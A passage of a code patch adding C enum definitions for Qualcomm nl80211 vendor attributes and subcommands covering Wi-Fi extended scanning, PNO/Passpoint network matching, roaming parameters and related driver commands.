+ /* Use attr QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_RESULTS_AVAILABLE
+ * to indicate number of gscan cached results returned.
+ * Also, use QCA_WLAN_VENDOR_ATTR_EXTSCAN_CACHED_RESULTS_LIST to indicate
+ * the list of gscan cached results.
+ */
+
+ /* An array of NUM_RESULTS_AVAILABLE x
+ * QCA_NL80211_VENDOR_ATTR_EXTSCAN_CACHED_RESULTS_*
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CACHED_RESULTS_LIST,
+ /* Unsigned 32-bit value; a unique identifier for the scan unit. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CACHED_RESULTS_SCAN_ID,
+ /* Unsigned 32-bit value; a bitmask w/additional information about scan. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CACHED_RESULTS_FLAGS,
+ /* Use attr QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_RESULTS_AVAILABLE
+ * to indicate number of wifi scan results/bssids retrieved by the scan.
+ * Also, use QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_LIST to indicate the list
+ * of wifi scan results returned for each cached result block.
+ */
+
+ /* EXTSCAN attributes for
+ * QCA_NL80211_VENDOR_SUBCMD_PNO_NETWORK_FOUND sub-command.
+ */
+ /* Use QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_RESULTS_AVAILABLE for number
+ * of results.
+ * Use QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_LIST to indicate the nested
+ * list of wifi scan results returned for each wifi_passpoint_match_result
+ * block. Array size:
+ * QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_RESULTS_AVAILABLE.
+ */
+
+ /* EXTSCAN attributes for
+ * QCA_NL80211_VENDOR_SUBCMD_PNO_PASSPOINT_NETWORK_FOUND sub-command.
+ */
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_NETWORK_FOUND_NUM_MATCHES,
+ /* A nested array of
+ * QCA_WLAN_VENDOR_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_MATCH_*
+ * attributes. Array size =
+ * *_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_NETWORK_FOUND_NUM_MATCHES.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_MATCH_RESULT_LIST,
+
+ /* Unsigned 32-bit value; network block id for the matched network */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_MATCH_ID,
+ /* Use QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_LIST to indicate the nested
+ * list of wifi scan results returned for each wifi_passpoint_match_result
+ * block.
+ */
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_MATCH_ANQP_LEN,
+ /* An array size of PASSPOINT_MATCH_ANQP_LEN of unsigned 8-bit values;
+ * ANQP data in the information_element format.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_MATCH_ANQP,
+
+ /* Unsigned 32bit value; a EXTSCAN Capabilities attribute. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_HOTLIST_SSIDS,
+ /* Unsigned 32bit value; a EXTSCAN Capabilities attribute. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_NUM_EPNO_NETS,
+ /* Unsigned 32bit value; a EXTSCAN Capabilities attribute. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_NUM_EPNO_NETS_BY_SSID,
+ /* Unsigned 32bit value; a EXTSCAN Capabilities attribute. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_NUM_WHITELISTED_SSID,
+
+ /* EXTSCAN attributes for
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_SSID_FOUND sub-command &
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_SSID_LOST sub-command
+ */
+ /* Use attr QCA_WLAN_VENDOR_ATTR_EXTSCAN_NUM_RESULTS_AVAILABLE
+ * to indicate number of results.
+ */
+ /* Unsigned 32bit value, Bit mask of all buckets scanned in the
+ * current EXTSCAN CYCLE. For e.g. If fw scan is going to scan
+ * following buckets 0, 1, 2 in current cycle then it will be
+ * (0x111).
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_BUCKETS_SCANNED,
+
+ /* keep last */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_AFTER_LAST,
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_MAX =
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_AFTER_LAST - 1,
+};
+
+enum qca_wlan_vendor_attr_pno_config_params {
+ QCA_WLAN_VENDOR_ATTR_PNO_INVALID = 0,
+ /* NL attributes for data used by
+ * QCA_NL80211_VENDOR_SUBCMD_PNO_SET_PASSPOINT_LIST sub command.
+ */
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM = 1,
+ /* Array of nested QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_*
+ * attributes. Array size =
+ * QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM.
+ */
+ QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NETWORK_ARRAY = 2,
+
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ID = 3,
+ /* An array of 256 x Unsigned 8-bit value; NULL terminated UTF8 encoded
+ * realm, 0 if unspecified.
+ */
+ QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_REALM = 4,
+ /* An array of 16 x Unsigned 32-bit value; roaming consortium ids
+ * to match, 0 if unspecified.
+ */
+ QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ROAM_CNSRTM_ID = 5,
+ /* An array of 6 x Unsigned 8-bit value; mcc/mnc combination, 0s if
+ * unspecified.
+ */
+ QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ROAM_PLMN = 6,
+
+ /* NL attributes for data used by
+ * QCA_NL80211_VENDOR_SUBCMD_PNO_SET_LIST sub command.
+ */
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_NUM_NETWORKS = 7,
+ /* Array of nested
+ * QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_*
+ * attributes. Array size =
+ * QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_NUM_NETWORKS.
+ */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORKS_LIST = 8,
+ /* An array of 33 x Unsigned 8-bit value; NULL terminated SSID */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_SSID = 9,
+ /* Signed 8-bit value; threshold for considering this SSID as found,
+ * required granularity for this threshold is 4dBm to 8dBm
+ * This attribute is obsolete.
+ */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_RSSI_THRESHOLD = 10,
+ /* Unsigned 8-bit value; WIFI_PNO_FLAG_XXX */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_FLAGS = 11,
+ /* Unsigned 8-bit value; auth bit field for matching WPA IE */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_AUTH_BIT = 12,
+
+ /* Unsigned 8-bit to indicate ePNO type;
+ * It takes values from qca_wlan_epno_type
+ */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_TYPE = 13,
+
+ /* Nested attribute to send the channel list */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_CHANNEL_LIST = 14,
+
+ /* Unsigned 32-bit value; indicates the Interval between PNO scan
+ * cycles in msec
+ */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_SCAN_INTERVAL = 15,
+ /* Signed 32-bit value; minimum 5GHz RSSI for a BSSID to be
+ * considered
+ */
+ QCA_WLAN_VENDOR_ATTR_EPNO_MIN5GHZ_RSSI = 16,
+ /* Signed 32-bit value; minimum 2.4GHz RSSI for a BSSID to
+ * be considered
+ */
+ QCA_WLAN_VENDOR_ATTR_EPNO_MIN24GHZ_RSSI = 17,
+ /* Signed 32-bit value; the maximum score that a network
+ * can have before bonuses
+ */
+ QCA_WLAN_VENDOR_ATTR_EPNO_INITIAL_SCORE_MAX = 18,
+ /* Signed 32-bit value; only report when there is a network's
+ * score this much higher han the current connection
+ */
+ QCA_WLAN_VENDOR_ATTR_EPNO_CURRENT_CONNECTION_BONUS = 19,
+ /* Signed 32-bit value; score bonus for all networks with
+ * the same network flag
+ */
+ QCA_WLAN_VENDOR_ATTR_EPNO_SAME_NETWORK_BONUS = 20,
+ /* Signed 32-bit value; score bonus for networks that are
+ * not open
+ */
+ QCA_WLAN_VENDOR_ATTR_EPNO_SECURE_BONUS = 21,
+ /* Signed 32-bit value; 5GHz RSSI score bonus
+ * applied to all 5GHz networks
+ */
+ QCA_WLAN_VENDOR_ATTR_EPNO_BAND5GHZ_BONUS = 22,
+
+ /* keep last */
+ QCA_WLAN_VENDOR_ATTR_PNO_AFTER_LAST,
+ QCA_WLAN_VENDOR_ATTR_PNO_MAX = QCA_WLAN_VENDOR_ATTR_PNO_AFTER_LAST - 1,
+};
+
+enum qca_wlan_vendor_attr_roaming_config_params {
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_INVALID = 0,
+
+ QCA_WLAN_VENDOR_ATTR_ROAMING_SUBCMD = 1,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_REQ_ID = 2,
+
+ /* Attributes for wifi_set_ssid_white_list */
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_WHITE_LIST_SSID_NUM_NETWORKS = 3,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_WHITE_LIST_SSID_LIST = 4,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_WHITE_LIST_SSID = 5,
+
+ /* Attributes for set_roam_params */
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_A_BAND_BOOST_THRESHOLD = 6,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_A_BAND_PENALTY_THRESHOLD = 7,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_A_BAND_BOOST_FACTOR = 8,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_A_BAND_PENALTY_FACTOR = 9,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_A_BAND_MAX_BOOST = 10,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_LAZY_ROAM_HISTERESYS = 11,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_ALERT_ROAM_RSSI_TRIGGER = 12,
+
+ /* Attribute for set_lazy_roam */
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_ENABLE = 13,
+
+ /* Attribute for set_lazy_roam with preferences */
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PREFS = 14,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_NUM_BSSID = 15,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_BSSID = 16,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_RSSI_MODIFIER = 17,
+
+ /* Attribute for set_ blacklist bssid params */
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS = 18,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS_NUM_BSSID = 19,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS_BSSID = 20,
+
+ /* keep last */
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_AFTER_LAST,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_MAX =
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_AFTER_LAST - 1,
+};
+
+enum qca_wlan_vendor_attr_extscan_config_params {
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_INVALID = 0,
+
+ /* Unsigned 32-bit value; Middleware provides it to the driver. Middle ware
+ * either gets it from caller, e.g., framework, or generates one if
+ * framework doesn't provide it.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID,
+
+ /* NL attributes for data used by
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_VALID_CHANNELS sub command.
+ */
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_VALID_CHANNELS_CONFIG_PARAM_WIFI_BAND,
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_VALID_CHANNELS_CONFIG_PARAM_MAX_CHANNELS,
+
+ /* NL attributes for input params used by
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_START sub command.
+ */
+
+ /* Unsigned 32-bit value; channel frequency */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_CHANNEL,
+ /* Unsigned 32-bit value; dwell time in ms. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_DWELL_TIME,
+ /* Unsigned 8-bit value; 0: active; 1: passive; N/A for DFS */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_PASSIVE,
+ /* Unsigned 8-bit value; channel class */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_CLASS,
+
+ /* Unsigned 8-bit value; bucket index, 0 based */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_INDEX,
+ /* Unsigned 8-bit value; band. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_BAND,
+ /* Unsigned 32-bit value; desired period, in ms. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_PERIOD,
+ /* Unsigned 8-bit value; report events semantics. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_REPORT_EVENTS,
+ /* Unsigned 32-bit value.
+ * Followed by a nested array of EXTSCAN_CHANNEL_SPEC_* attributes.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS,
+
+ /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_* attributes.
+ * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC,
+
+ /* Unsigned 32-bit value; base timer period in ms. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_BASE_PERIOD,
+ /* Unsigned 32-bit value; number of APs to store in each scan in the
+ * BSSID/RSSI history buffer (keep the highest RSSI APs).
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_MAX_AP_PER_SCAN,
+ /* Unsigned 8-bit value; in %, when scan buffer is this much full, wake up
+ * APPS.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_PERCENT,
+ /* Unsigned 8-bit value; number of scan bucket specs; followed by a nested
+ * array of_EXTSCAN_BUCKET_SPEC_* attributes and values. The size of the
+ * array is determined by NUM_BUCKETS.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS,
+
+ /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_* attributes.
+ * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC,
+
+ /* Unsigned 8-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_CACHED_SCAN_RESULTS_CONFIG_PARAM_FLUSH,
+ /* Unsigned 32-bit value; maximum number of results to be returned. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_CACHED_SCAN_RESULTS_CONFIG_PARAM_MAX,
+
+ /* An array of 6 x Unsigned 8-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_BSSID,
+ /* Signed 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_LOW,
+ /* Signed 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_HIGH,
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_CHANNEL,
+
+ /* Number of hotlist APs as unsigned 32-bit value, followed by a nested
+ * array of AP_THRESHOLD_PARAM attributes and values. The size of the
+ * array is determined by NUM_AP.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_NUM_AP,
+
+ /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_* attributes.
+ * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM,
+
+ /* Unsigned 32bit value; number of samples for averaging RSSI. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_RSSI_SAMPLE_SIZE,
+ /* Unsigned 32bit value; number of samples to confirm AP loss. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_LOST_AP_SAMPLE_SIZE,
+ /* Unsigned 32bit value; number of APs breaching threshold. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_MIN_BREACHING,
+ /* Unsigned 32bit value; number of APs. Followed by an array of
+ * AP_THRESHOLD_PARAM attributes. Size of the array is NUM_AP.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_NUM_AP,
+ /* Unsigned 32bit value; number of samples to confirm AP loss. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_LOST_AP_SAMPLE_SIZE,
+
+ /* Unsigned 32-bit value. If max_period is non zero or different than
+ * period, then this bucket is an exponential backoff bucket.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_MAX_PERIOD,
+ /* Unsigned 32-bit value. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_BASE,
+ /* Unsigned 32-bit value. For exponential back off bucket, number of scans
+ * to performed for a given period.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_STEP_COUNT,
+ /* Unsigned 8-bit value; in number of scans, wake up AP after these
+ * many scans.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_NUM_SCANS,
+
+ /* NL attributes for data used by
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SSID_HOTLIST sub command.
+ */
+ /* Unsigned 32bit value; number of samples to confirm SSID loss. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_LOST_SSID_SAMPLE_SIZE,
+ /* Number of hotlist SSIDs as unsigned 32-bit value, followed by a nested
+ * array of SSID_THRESHOLD_PARAM_* attributes and values. The size of the
+ * array is determined by NUM_SSID.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_NUM_SSID,
+ /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_* attributes.
+ * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_NUM_SSID
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM,
+
+ /* An array of 33 x Unsigned 8-bit value; NULL terminated SSID */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_SSID,
+ /* Unsigned 8-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_BAND,
+ /* Signed 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_LOW,
+ /* Signed 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_HIGH,
+
+ /* Unsigned 32-bit value; a bitmask w/additional extscan config flag. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CONFIGURATION_FLAGS,
+
+ /* keep last */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_AFTER_LAST,
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX =
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_AFTER_LAST - 1,
+};
+
+enum qca_nl80211_vendor_subcmds {
+ QCA_NL80211_VENDOR_SUBCMD_UNSPEC = 0,
+ QCA_NL80211_VENDOR_SUBCMD_TEST = 1,
+ /* subcmds 2..8 not yet allocated */
+ QCA_NL80211_VENDOR_SUBCMD_ROAMING = 9,
+ QCA_NL80211_VENDOR_SUBCMD_AVOID_FREQUENCY = 10,
+ QCA_NL80211_VENDOR_SUBCMD_DFS_CAPABILITY = 11,
+ QCA_NL80211_VENDOR_SUBCMD_NAN = 12,
+ QCA_NL80211_VENDOR_SUBCMD_STATS_EXT = 13,
+ /* subcommands for link layer statistics start here */
+ QCA_NL80211_VENDOR_SUBCMD_LL_STATS_SET = 14,
+ QCA_NL80211_VENDOR_SUBCMD_LL_STATS_GET = 15,
+ QCA_NL80211_VENDOR_SUBCMD_LL_STATS_CLR = 16,
+ QCA_NL80211_VENDOR_SUBCMD_LL_STATS_RADIO_RESULTS = 17,
+ QCA_NL80211_VENDOR_SUBCMD_LL_STATS_IFACE_RESULTS = 18,
+ QCA_NL80211_VENDOR_SUBCMD_LL_STATS_PEERS_RESULTS = 19,
+ /* subcommands for extscan start here */
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_START = 20,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_STOP = 21,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_VALID_CHANNELS = 22,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_CAPABILITIES = 23,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_CACHED_RESULTS = 24,
+ /* Used when report_threshold is reached in scan cache. */
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SCAN_RESULTS_AVAILABLE = 25,
+ /* Used to report scan results when each probe rsp. is received,
+ * if report_events enabled in wifi_scan_cmd_params.
+ */
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_FULL_SCAN_RESULT = 26,
+ /* Indicates progress of scanning state-machine. */
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SCAN_EVENT = 27,
+ /* Indicates BSSID Hotlist. */
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_AP_FOUND = 28,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_BSSID_HOTLIST = 29,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_RESET_BSSID_HOTLIST = 30,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SIGNIFICANT_CHANGE = 31,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SIGNIFICANT_CHANGE = 32,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_RESET_SIGNIFICANT_CHANGE = 33,
+ /* EXT TDLS */
+ QCA_NL80211_VENDOR_SUBCMD_TDLS_ENABLE = 34,
+ QCA_NL80211_VENDOR_SUBCMD_TDLS_DISABLE = 35,
+ QCA_NL80211_VENDOR_SUBCMD_TDLS_GET_STATUS = 36,
+ QCA_NL80211_VENDOR_SUBCMD_TDLS_STATE = 37,
+ /* Get supported features */
+ QCA_NL80211_VENDOR_SUBCMD_GET_SUPPORTED_FEATURES = 38,
+
+ /* Set scanning_mac_oui */
+ QCA_NL80211_VENDOR_SUBCMD_SCANNING_MAC_OUI = 39,
+ /* Set nodfs_flag */
+ QCA_NL80211_VENDOR_SUBCMD_NO_DFS_FLAG = 40,
+
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_AP_LOST = 41,
+
+ /* Get Concurrency Matrix */
+ QCA_NL80211_VENDOR_SUBCMD_GET_CONCURRENCY_MATRIX = 42,
+
+ /* Get the security keys for key management offload */
+ QCA_NL80211_VENDOR_SUBCMD_KEY_MGMT_SET_KEY = 50,
+
+ /* Send the roaming and authentication info after roaming */
+ QCA_NL80211_VENDOR_SUBCMD_KEY_MGMT_ROAM_AUTH = 51,
+
+ QCA_NL80211_VENDOR_SUBCMD_APFIND = 52,
+
+ /* Deprecated */
+ QCA_NL80211_VENDOR_SUBCMD_OCB_SET_SCHED = 53,
+
+ QCA_NL80211_VENDOR_SUBCMD_DO_ACS = 54,
+
+ /* Get the supported features by the driver */
+ QCA_NL80211_VENDOR_SUBCMD_GET_FEATURES = 55,
+
+ /* Off loaded DFS events */
+ QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_CAC_STARTED = 56,
+ QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_CAC_FINISHED = 57,
+ QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_CAC_ABORTED = 58,
+ QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_CAC_NOP_FINISHED = 59,
+ QCA_NL80211_VENDOR_SUBCMD_DFS_OFFLOAD_RADAR_DETECTED = 60,
+
+ /* Get Wifi Specific Info */
+ QCA_NL80211_VENDOR_SUBCMD_GET_WIFI_INFO = 61,
+ /* Start Wifi Logger */
+ QCA_NL80211_VENDOR_SUBCMD_WIFI_LOGGER_START = 62,
+ /* Start Wifi Memory Dump */
+ QCA_NL80211_VENDOR_SUBCMD_WIFI_LOGGER_MEMORY_DUMP = 63,
+ QCA_NL80211_VENDOR_SUBCMD_ROAM = 64,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SSID_HOTLIST = 65,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_RESET_SSID_HOTLIST = 66,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_SSID_FOUND = 67,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_SSID_LOST = 68,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_LIST = 69,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST = 70,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_RESET_PASSPOINT_LIST = 71,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_NETWORK_FOUND = 72,
+ QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_PASSPOINT_NETWORK_FOUND = 73,
+
+ /* Wi-Fi Configuration subcommands */
+ QCA_NL80211_VENDOR_SUBCMD_SET_WIFI_CONFIGURATION = 74,
+ QCA_NL80211_VENDOR_SUBCMD_GET_WIFI_CONFIGURATION = 75,
+
+ QCA_NL80211_VENDOR_SUBCMD_GET_LOGGER_FEATURE_SET = 76,
+ QCA_NL80211_VENDOR_SUBCMD_GET_RING_DATA = 77,
+ QCA_NL80211_VENDOR_SUBCMD_TDLS_GET_CAPABILITIES = 78,
+
+ QCA_NL80211_VENDOR_SUBCMD_OFFLOADED_PACKETS = 79,
+ QCA_NL80211_VENDOR_SUBCMD_MONITOR_RSSI = 80,
+ QCA_NL80211_VENDOR_SUBCMD_NDP = 81,
+
+ /* NS Offload enable/disable cmd */
+ QCA_NL80211_VENDOR_SUBCMD_ND_OFFLOAD = 82,
+
+ QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER = 83,
+ QCA_NL80211_VENDOR_SUBCMD_GET_BUS_SIZE = 84,
+
+ QCA_NL80211_VENDOR_SUBCMD_GET_WAKE_REASON_STATS = 85,
+
+ /* OCB commands */
+ QCA_NL80211_VENDOR_SUBCMD_OCB_SET_CONFIG = 92,
+ QCA_NL80211_VENDOR_SUBCMD_OCB_SET_UTC_TIME = 93,
